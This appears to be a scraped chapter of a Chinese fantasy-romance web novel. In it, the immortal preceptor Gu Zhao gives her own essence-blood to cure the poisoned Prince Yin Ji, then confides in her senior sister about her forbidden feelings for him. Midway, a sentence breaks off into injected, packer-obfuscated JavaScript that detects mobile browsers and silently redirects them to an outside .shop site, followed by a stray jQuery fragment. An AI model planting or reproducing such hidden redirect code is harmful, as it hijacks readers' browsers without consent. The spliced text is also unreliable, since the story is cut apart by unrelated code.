“那殿下一定对臣很失望吧。”
皇帝却摇头,“他确实准备了很久,但只要有你在,许多事也便不在乎了。”
“阿寂从小就很别扭,这些年又受了许多苦,现在估计更盛了,他离不开你的。”
“陛下何意?”顾昭问。
皇帝:“他既将这身衣服赠予国师了,那便是认定你了,虽然有些荒唐,但国师能否、能否陪阿寂胡闹这一场?要什么贡奉朕都给,只要能让他在最后的日子里过得高兴。”
“连陛下也觉得殿下活不久了吗?”顾昭问。
皇帝怔愣了片刻,笑笑,“凡人寿数不过几载,在国师眼中不过须臾。”
说着又叹了口气,“阿寂又身体不好,今天本来想给他提前举办冠礼的,没想到……”
顾昭勉强扯了扯嘴角,“等到殿下真正到了该及冠的日子再办一次吧,这样才是真正行了冠礼,不是吗?”
皇帝点点头,“嗯,当时是觉得阿寂身体好了许多,才选在这个日子的,既如此便下次吧,也不算遗憾,国师不必自责。”
“国师回吧,朕还有事。”
顾昭行了一礼便退出去了。
路上春花开得正盛,顾昭折了几支带回去,打算放在殷寂床头。
那只灯也没拿回来,她打算有空照着那样式再做一个,等到殷寂复明了一定会开心的。
回到殿中所见一幕令顾昭永远不会忘怀,怀中花枝散了满地,殷寂蜷缩在床上,口中呕出阵阵黑血。
顾昭急步上前,帮殷寂把着脉。
殷寂听见响动断断续续的开口,“国师……我是不是、是不是快……死了?”
“好疼……真的好疼啊……国师。”
泪也止不住的流,泪水混着血,浸满了被褥,“对不起……我真的好舍不得你……”
顾昭一个劲的摇头,“不、不会有事的。”
殷寂的脉象紊乱,顾昭没见过这样的,她虽然是仙人,但她的资历是最浅的一个,只精阵法符箓,医术一类的虽也尚可,却还不精通,殷寂的症状她从未见过,一时慌乱。
“没事的……我早该死的……”殷寂双眼紧闭。
顾昭握住殷寂的手,突然想到了什么,“对了,还有师姐,她一定有办法的。”
顾昭抱起殷寂,用了平生最快的速度赶到了花娘娘庙。
“师姐!师姐!”顾昭大喊。
柳沅不满回道:“在的在的!叫魂呢?”
一看清殷寂的模样着实被吓了一跳,连忙让开路让顾昭进入房内,“怎么了这是?昨天不还好好的吗?”
顾昭将人安置在榻上,摇摇头,“我不知道,我探不出原因。”
柳沅也少见顾昭这无错慌乱的样子,连忙安抚,“没事,有师姐,师姐的医术你应该是信得过的。”
柳沅开始为殷寂探脉,神色越发凝重了起来,收回手,给殷寂喂了几个吊命的丹药才对顾昭说:“怎么搞的?中毒了。”
顾昭咬牙,“一定是叶凌。”
柳沅挑了挑眉,“他居然没死?”
顾昭摇摇头,“没,殷寂现在怎么样了?”
柳沅神情无比严肃,“中了噬骨,你要救他吗?”
“救!”顾昭脱口而出。
柳沅又道:“你知道什么是噬骨吗?”
“知道。”
“那你知道救他的代价吗?”
“知道。”
柳沅看着顾昭,十分严肃的又问了一遍,“真的要救吗?值得吗?”
顾昭点头,“真的,我不能让他死。”
“你的旧伤……”
顾昭轻轻摇头,“没事。”
柳沅没继续劝阻,取来刀和碗,“精血是不可再生之物,你……”
顾昭沉默着划开手掌,血积在碗底积了薄薄一层。
“够了够了!不要命了!”柳沅连忙出声制止,帮顾昭止了血后才叹了口气,“你不是说你不喜欢他吗?这又是在干什么?”
顾昭摇摇头,语气发虚,“我欠他的……被叶凌害死的人,我会帮忙超度,他……比较特别,被叶凌折磨了很久,他一生的灾、祸都是我间接造成的。”
“你还要帮他还多久?”柳沅十分不满,“你和他已经没有什么瓜葛了,你对他也仁至义尽了,你总觉得是自己的疏忽,你也大义灭亲了,你还要做什么?”
“放下吧,昭昭。”柳沅叹了口气,便端着碗出去了。
顾昭脚步虚浮,靠在殷寂身边,仔细描摹着他的眉眼,拉过殷寂冰凉的手,帮他暖着,“我不会离开你,你也不能离开我。”
脑袋一阵阵发晕,就这么昏睡了过去。
“殿下……”
顾昭又一次陷入了梦中,她分不清是到了殷寂的梦,还是在自己的梦中……
她又见到了殷寂,一个健康的殷寂。
身量比她稍高些,一双眼还是这么清澈明亮,脸上有些肉了,笑着有个小梨涡,眉尾还是垂着,看着就是个温和舒朗的少年郎。
顾昭不由自主的往前靠去,伸手刚碰到他,人便如水中月般散了。
顾昭惊醒,柳沅靠在旁边,饶有兴味的看着顾昭,“不是不喜欢吗?这又是在干什么?”
顾昭有些不自然,“我累了,靠着歇会。”
“哦~”柳沅不信,“歇会要牵着手啊?”
“我怕他冷。”顾昭回。
柳沅哼笑一声,“那他全身都冷,你干脆抱着他得了呗。”
“于礼不合……”
“这就合礼了?”柳沅早就看穿了顾昭的心思,不给她留余地。
顾昭撑着坐起身,“我换个地方休息。”
柳沅看这顾昭这副虚弱的样子,连忙上前拦着,“说乐了,你又不是不知道我。”
“你就待在这吧,我可没空守着他,万一又出什么意外了,你不得怪死我。”
不等顾昭应声,柳沅就丢过来一个木匣子,“解药。”
说罢头也不回都走了。
顾昭接过药,连忙给殷寂喂了下去。
她坐在床沿想了很久。
到底是从什么时候开始发展成这样的,这份感情的起始,她毫无所觉,再回头时已经深陷其中了。
“怎会如此……”
顾昭又叹了口气,我原本愿意下山救殷寂,一是皇帝给的太多了,再者,这是叶凌欠下的孽债,她也得还……现在这个进展是她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709010|208397||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
始料未及的。
原本,如果殷寂死了,她的使命也就完成,就可以再回到山上清修了,好像现在也不想回去了。
“国师……”殷寂轻唤,他的双眼还是没有神彩。
“我在。”顾昭回。
“怎么办啊,我发现我还是离不开国师……”殷寂声音虚虚。
“那就不离开了。”
殷寂摇头,“那怎么能行的呢?国师真能被我困在身边吗?”
“我会一直陪着你的。”
“国师,你怎么了?”殷寂将头侧向顾昭,“声音怎么这么哑?”
“我没事。”顾昭尽量稳住自己的声线,免得被殷寂发现更多破绽。
“好了,殿下才刚服药,先睡会吧。”顾昭轻轻覆上殷寂那双失焦的眼,“我还有事找师姐。”
“好。”殷寂乖乖应着。
顾昭拖着虚浮的脚步找到柳沅。
柳沅正坐在院中喝茶,见顾昭来了轻笑一声道:“哟,怎么不和那孩子待一块了?”
顾昭坐下,轻轻摇了摇头,“师兄那怎么样了?”
“师兄啊!他应该不知道这边的情况。”柳喝了口茶,“要让他知道不得被气死。”
“……不知道便好。”顾昭趴在桌子上,发着呆。
柳沅看着这个半死不活的顾昭,完全与记忆里那个一本正经的顾昭对不上号,“是不是跟小殿下待久了?怎么你也变得幼稚了?”
“哪有……”顾昭有气无力的回,“只是有些心烦。”
“怎么?”柳沅问,“为情所困?”
顾昭摇头,又恢复了往日正经的样子,“不能这么说,仙人怎么有私情?被大师兄听到了要受罚的。”
“不带回去不就行了?”柳沅无所谓的说,“反正也用不了多久。”
“别这么说。”
柳沅被顾昭这句话惊的人都坐直了,“你你你、什么意思?认真了???”
“师姐……”
“别叫我师姐!”柳沅大叫,“你,不会还想违反天命,给他延寿吧?”
“那倒没有。”顾昭回。
柳沅摇摇头,“我收回从前说的所有话,你离他远点。”
“师姐……”
柳沅伸手,止住顾昭的话头,“我以为你只是玩玩的,清心寡欲了这么久,我以为你自己知道分寸的,结果上来就给我搞这么一出。”
“你你你,哎……”
柳沅都被气结巴了。
“我不是,我没有!”顾昭辩驳道。
柳沅并不相信,“我看他能成为你的心劫!不对,他已经成为你的心劫了!”
“完了完了。”柳沅烦躁的抓着自己的头发,“师兄不会放过我的……昭昭你糊涂啊!”
顾昭看着柳沅这分外抓狂的样子一是无影,有些无措,她以为师姐会支持她的。
顾昭只一般一眼的回道,“我知道的,我不会做什么过激的事的,师姐,你放心,不会让大师兄知道的。”
柳沅也叹了口气,“真是的真是的,怎么我也变得唉声叹气的了?你有数就好。”
柳沅回了这么便起身,脚步有些沉重,“真影响心境,我出去散散心。”